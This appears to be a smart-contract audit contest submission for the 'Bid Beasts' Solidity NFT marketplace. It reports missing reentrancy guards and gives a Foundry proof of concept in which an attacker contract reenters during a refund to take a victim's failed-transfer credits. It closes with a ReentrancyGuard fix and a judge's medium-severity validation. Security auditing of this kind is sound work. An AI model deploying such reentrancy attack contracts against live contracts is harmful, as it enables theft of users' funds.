Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

High: Missing reentrancy guards on ETH-transfering functions

High: Missing reentrancy guards on ETH-transfering functions

Description

  • Normal behavior: Functions that send ETH should be protected against reentrancy.

  • Issue: Functions that perform external calls (via _payout or direct calls) lack nonReentrant. This increases exposure to reentrancy, especially combined with the broken credits withdrawal logic.

206:222:2025-09-bid-beasts/src/BidBeastsNFTMarketPlace.sol

function _executeSale(uint256 tokenId) internal {
// ...
_payout(listing.seller, sellerProceeds);
emit AuctionSettled(tokenId, bid.bidder, listing.seller, bid.amount);
}

227:233:2025-09-bid-beasts/src/BidBeastsNFTMarketPlace.sol

function _payout(address recipient, uint256 amount) internal {
if (amount == 0) return;
(bool success, ) = payable(recipient).call{value: amount}("");
if (!success) {
failedTransferCredits[recipient] += amount;
}
}
// @> Root: External calls without nonReentrant across state-changing entry points (e.g., placeBid, settleAuction, takeHighestBid, withdraw*)

Risk

Likelihood:

  • Reentrancy can occur whenever ETH is sent to attacker-controlled addresses

  • Entry points call out before the transaction completes

Impact:

  • State desynchronization and multi-claiming paths

  • Amplifies impact of other flaws (e.g., credits theft)

Proof of Concept

Foundry-style PoC: reenter during refund to attacker and drain previously created credits.

// Foundry-style PoC: reenter during refund to attacker and drain previously created credits.
contract RejectBidder { // cannot receive refunds, creates credits
BidBeastsNFTMarket immutable market;
constructor(BidBeastsNFTMarket m) { market = m; }
function bid(uint256 tokenId, uint256 amount) external payable {
require(msg.value == amount, "bad value");
market.placeBid{value: amount}(tokenId);
}
// no receive/fallback → refund fails, credits accrue
}
contract ReenteringBidder {
BidBeastsNFTMarket immutable market;
address victim;
bool reentered;
constructor(BidBeastsNFTMarket m) { market = m; }
function setVictim(address v) external { victim = v; }
function bid(uint256 tokenId, uint256 amount) external payable {
require(msg.value == amount, "bad value");
market.placeBid{value: amount}(tokenId);
}
receive() external payable {
if (!reentered) {
reentered = true; // avoid infinite recursion -> OOG
market.withdrawAllFailedCredits(victim);
}
}
}
function test_Reentrancy_DrainsCreditsDuringRefund() public {
BidBeasts nft = new BidBeasts();
BidBeastsNFTMarket market = new BidBeastsNFTMarket(address(nft));
// Seller mints and lists tokenId 0
address seller = address(0xA11CE);
vm.prank(nft.owner());
nft.mint(seller);
vm.startPrank(seller);
nft.approve(address(market), 0);
market.listNFT(0, 1 ether, 0);
vm.stopPrank();
// Victim first bid: refund to them will fail later and create credits
RejectBidder victim = new RejectBidder(market);
vm.deal(address(victim), 10 ether);
vm.prank(address(victim));
victim.bid{value: 1 ether}(0, 1 ether);
// Attacker outbids: this attempts refund to victim, which fails → credits[victim] = 1 ether
ReenteringBidder attacker = new ReenteringBidder(market);
vm.deal(address(attacker), 10 ether);
vm.prank(address(attacker));
attacker.bid{value: 2 ether}(0, 2 ether);
attacker.setVictim(address(victim));
// Honest user outbids attacker, triggering refund to attacker and reentrancy
address honest = address(0xBEEF);
vm.deal(honest, 10 ether);
uint256 refund = 2 ether;
uint256 credit = 1 ether;
uint256 attackerBalBefore = address(attacker).balance;
vm.prank(honest);
market.placeBid{value: 3 ether}(0);
// During refund to attacker, fallback reentered and withdrew victim's credits to attacker
assertEq(market.failedTransferCredits(address(victim)), 1 ether); // unchanged due to bug
assertEq(address(attacker).balance, attackerBalBefore + refund + credit);
}

Recommended Mitigation

Add recommended reentrancy guards to all functions that send eth

+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
- contract BidBeastsNFTMarket is Ownable(msg.sender) {
+ contract BidBeastsNFTMarket is Ownable(msg.sender), ReentrancyGuard {
- function placeBid(uint256 tokenId) external payable isListed(tokenId) {
+ function placeBid(uint256 tokenId) external payable isListed(tokenId) nonReentrant {
- function settleAuction(uint256 tokenId) external isListed(tokenId) {
+ function settleAuction(uint256 tokenId) external isListed(tokenId) nonReentrant {
- function takeHighestBid(uint256 tokenId) external isListed(tokenId) isSeller(tokenId, msg.sender) {
+ function takeHighestBid(uint256 tokenId) external isListed(tokenId) isSeller(tokenId, msg.sender) nonReentrant {
- function withdrawFee() external onlyOwner {
+ function withdrawFee() external onlyOwner nonReentrant {
Updates

Lead Judging Commences

cryptoghost Lead Judge 27 days ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Reentrancy In PlaceBid

BidBeast Marketplace has a Medium-severity reentrancy vulnerability in its "buy-now" feature that allows an attacker to disrupt the platform by blocking sales or inflating gas fees for legitimate users.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.